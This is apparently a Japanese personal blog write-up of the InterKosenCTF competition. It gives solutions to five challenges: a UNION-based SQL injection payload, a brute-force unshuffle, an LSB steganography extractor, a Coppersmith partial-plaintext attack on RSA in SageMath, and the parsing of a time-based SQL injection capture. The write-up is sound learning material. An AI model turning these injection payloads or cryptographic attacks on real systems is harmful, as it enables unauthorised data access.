ぶちのブログ

競プロとCTFが趣味なWebエンジニアのアウトプットの場

InterKosenCTF writeup

追記

チームメイトもwrite upを書いてくれました。
2人で解いた問題に関してはこちらのwrite upも見るとわかりやすいと思います。

rajyan.hatenablog.jp

はじめに

InterKosenCTFに参加しました。結果は、91チーム中22位でした。

f:id:betit0919:20190813013710p:plain

時間の取れない中ではそこそこ頑張りましたが、相変わらずWeb問の解けないWebエンジニアの様相を呈していました。

解けた問題

uploader

よくありそうな、SQLinjectionの問題です。

') UNION SELECT passcode FROM files; #

と検索欄に入力すると、

SELECT name FROM files WHERE instr(name, '') UNION SELECT passcode FROM files; #') ORDER BY id DESC

となり、the_longer_the_stronger_than_more_complicatedというpasscodeが手に入ります。
これでflagがダウンロードできます。

Kurukuru Shuffle

全探索をします。

encrypted = "1m__s4sk_s3np41m1r_836lly_cut3_34799u14}1osenCTF{5sKm"

def is_prime(N):
    if N % 2 == 0:
        return False
    i = 3
    while i * i < N:
        if N % i == 0:
            return False
        i += 2
    return True


L = len(encrypted)
assert is_prime(L)

for k in range(1,L):
    for a in range(L):
        for b in range(L):
            flag = list(encrypted)
            if a == b:
                continue

            i = k
            for _ in range(L):
                s = (i + a) % L
                t = (i + b) % L
                flag[s], flag[t] = flag[t], flag[s]
                i = (i + k) % L

            flag = "".join(flag)
            if flag.startswith('KosenCTF'):
                print(flag)

候補が6つほど出てきます。重複を除くと、

KosenCTF{us4m1m1_m4sk_s3np41_1s_r34lly_cut3_38769915}
KosenCTF{5s4m1m1_m4rk_s3np41_1s_s38l9y_cut3_34769l1u}
KosenCTF{5s4m1m1_m4sk_s3np41_1s_r34l9y_cut3_38769l1u}

となります。r34llyのあたりを見て、reallyかな?という感じで提出すると正解でした。

Hugtto!

ソースコードを見ると、「画像をflag長数ごとに区切り、ピクセルのRGBいずれかの下位1bitを、flagの各bitに変えていく」という操作を繰り返し行っていることがわかります。
flag長を予想して、統計的にflagを求めることができます。

ソースコードは以下のようになりました。(python部分はチームメンバーと協力して書いたものです)

from PIL import Image

bin_flag = []
for c in "KosenCTF{":
    for i in range(8):
        bin_flag.append((ord(c) >> i) & 1)

img = Image.open("./steg_emiru.png")
w, h = img.size

array=[]
for x in range(w):
    for y in range(h):
        r, g, b = img.getpixel((x, y))
        array.append([r&1, g&1, b&1])


pi = 0
ma = 0
ans = [0]*544
for i in range(len(array)):
    cnt = 0
    for j in range(len(bin_flag)):
        if i>=1437*544: # out of range したので適当に終わらせている
            break 
        if(bin_flag[j]==array[i+j][0] or bin_flag[j]==array[i+j][1] or bin_flag[j]==array[i+j][2]):
            cnt+=1
        if(cnt==len(bin_flag)-1): # KosenCTF{とバイナリ列が一致
            #print(i-pi)
            ma = max(i-pi,ma)
            pi=i
            if(i%544==0): # 長さが544と目星がついた
                #print(i/544)
                for k in range(544):
                    ans[k] += (array[i+k][0]+array[i+k][1]+array[i+k][2]) # rgb全部足す。1400列も足せば統計的に0か1かわかる

ans_str =""
for i in ans:
    if i > 2100:
        ans_str+="1"
    else:
        ans_str+="0"

print(ans_str)
array = gets.chars

puts(
  array.each_slice(8).map do |a|
    a.reverse.join.to_i(2).chr
  end.join
)

最後に、python3 decrypt.py ~| ruby decrypt.rbなどとして、flagを得ます。
(ビッグエンディアンであることに気づかずにハマってました)

なお、最後にRubyを使っているのは、慣れているため速く書けるから以上の意味はありません。
ただ、Rubyは文字列操作はかなりやりやすい言語なので、CTFにも向いていると思います。

E_S_P

与えられたコードを見ると、平文の上位ビットが分かっているので、Coppersmith's attackをします。 やや与えられたビット数が足りないらしいのですが、参考実装を見ながら書いたら何故か通りました。

 File: exploit.sage

import time
import sys

# You will not known this
# msg = b'Your PIN code is 4394'

def long_to_bytes(data):
    data = str(hex(long(data)))[2:-1]
    return "".join([chr(int(data[i:i + 2], 16)) for i in range(0, len(data), 2)])
    
def bytes_to_long(data):
    return int(data.encode('hex'), 16)

def main():
    e,N = (5L, 11854673881335985163635072085250462726008700043680492953159905880499045049107244300920837378010293967634187346804588819510452454716310449345364124188546434429828696164683059829613371961906369413632824692460386596396440796094037982036847106649198539914928384344336740248673132551761630930934635177708846275801812766262866211038764067901005598991645254669383536667044207899696798812651232711727007656913524974796752223388636251060509176811628992340395409667867485276506854748446486284884567941298744325375140225629065871881284670017042580911891049944582878712176067643299536863795670582466013430445062571854275812914317)

    c = 4463634440284027456262787412050107955746015405738173339169842084094411947848024686618605435207920428398544523395749856128886621999609050969517923590260498735658605434612437570340238503179473934990935761387562516430309061482070214173153260521746487974982738771243619694317033056927553253615957773428298050465636465111581387005937843088303377810901324355859871291148445415087062981636966504953157489531400811741347386262410364012023870718810153108997879632008454853198551879739602978644245278315624539189505388294856981934616914835545783613517326663771942178964492093094767168721842335827464550361019195804098479315147
    m = bytes_to_long("Yukko the ESPer: My amazing ESP can help you to get the flag! -----> KosenCTF{\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
    P.<x> = PolynomialRing(Zmod(N), implementation='NTL')
    pol = (m + x)^e - c
    roots = pol.small_roots(epsilon=1/30)
    print("Potential solutions:")
    for root in roots:
       print(root, long_to_bytes(m+root))
    
main()

ちなみに、解いた直後にチームメイトも以下のコード(参考実装はこちら)で解読に成功していました。

# partial_m.sage

n = 11854673881335985163635072085250462726008700043680492953159905880499045049107244300920837378010293967634187346804588819510452454716310449345364124188546434429828696164683059829613371961906369413632824692460386596396440796094037982036847106649198539914928384344336740248673132551761630930934635177708846275801812766262866211038764067901005598991645254669383536667044207899696798812651232711727007656913524974796752223388636251060509176811628992340395409667867485276506854748446486284884567941298744325375140225629065871881284670017042580911891049944582878712176067643299536863795670582466013430445062571854275812914317
e = 5

c = 4463634440284027456262787412050107955746015405738173339169842084094411947848024686618605435207920428398544523395749856128886621999609050969517923590260498735658605434612437570340238503179473934990935761387562516430309061482070214173153260521746487974982738771243619694317033056927553253615957773428298050465636465111581387005937843088303377810901324355859871291148445415087062981636966504953157489531400811741347386262410364012023870718810153108997879632008454853198551879739602978644245278315624539189505388294856981934616914835545783613517326663771942178964492093094767168721842335827464550361019195804098479315147


mbar = 0b10110010111010101101011011010110110111100100000011101000110100001100101001000000100010101010011010100000110010101110010001110100010000001001101011110010010000001100001011011010110000101111010011010010110111001100111001000000100010101010011010100000010000001100011011000010110111000100000011010000110010101101100011100000010000001111001011011110111010100100000011101000110111100100000011001110110010101110100001000000111010001101000011001010010000001100110011011000110000101100111001000010010000000101101001011010010110100101101001011010011111000100000010010110110111101110011011001010110111001000011010101000100011001111011000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

kbits = 863-624
PR.<x> = PolynomialRing(Zmod(n), implementation='NTL')
f = (mbar + x)^e - c

x0 = f.small_roots(epsilon=1/30)[0]  # find root < 2^kbits with factor = n
print mbar + x0

ε=1だと答えが出ませんでしたが、パラメータを調節すれば解けてしまいました。

Temple of Time

与えられたwiresharkのログを見ると、Time-based SQL Injectionの形跡があります。
wiresharkの機能でログをcsvに吐き出して、以下のようなRubyのコードでゴリゴリっとパースしたら答えが出ました。

require 'CSV'
require 'URI'
CSV.open("packet.csv").map do |line|
  URI.decode(line.last.split[1]).match(/\d*,1\)\)=\d*/)[0].split(",1))=") if line.join.match(/SELECT/)
end.compact.each_cons(2).map do |elem|
  elem[0][1] if elem[0][0]!=elem[1][0]
end.compact.map(&:to_i).map(&:chr).join

やはりRubyは文字列操作強いですね。

終わりに

もう少し解きたいのですが、いまいちうまい練習方法を見つけられていません。
とりあえずは、難易度が適切なCTFに出続けようと思います。
また、もしチーム等組んでくださる方がいましたら、声をかけてくださると非常に嬉しいです。

最後に、開催者および関係者の皆様、非常に楽しい時間をありがとうございました!!!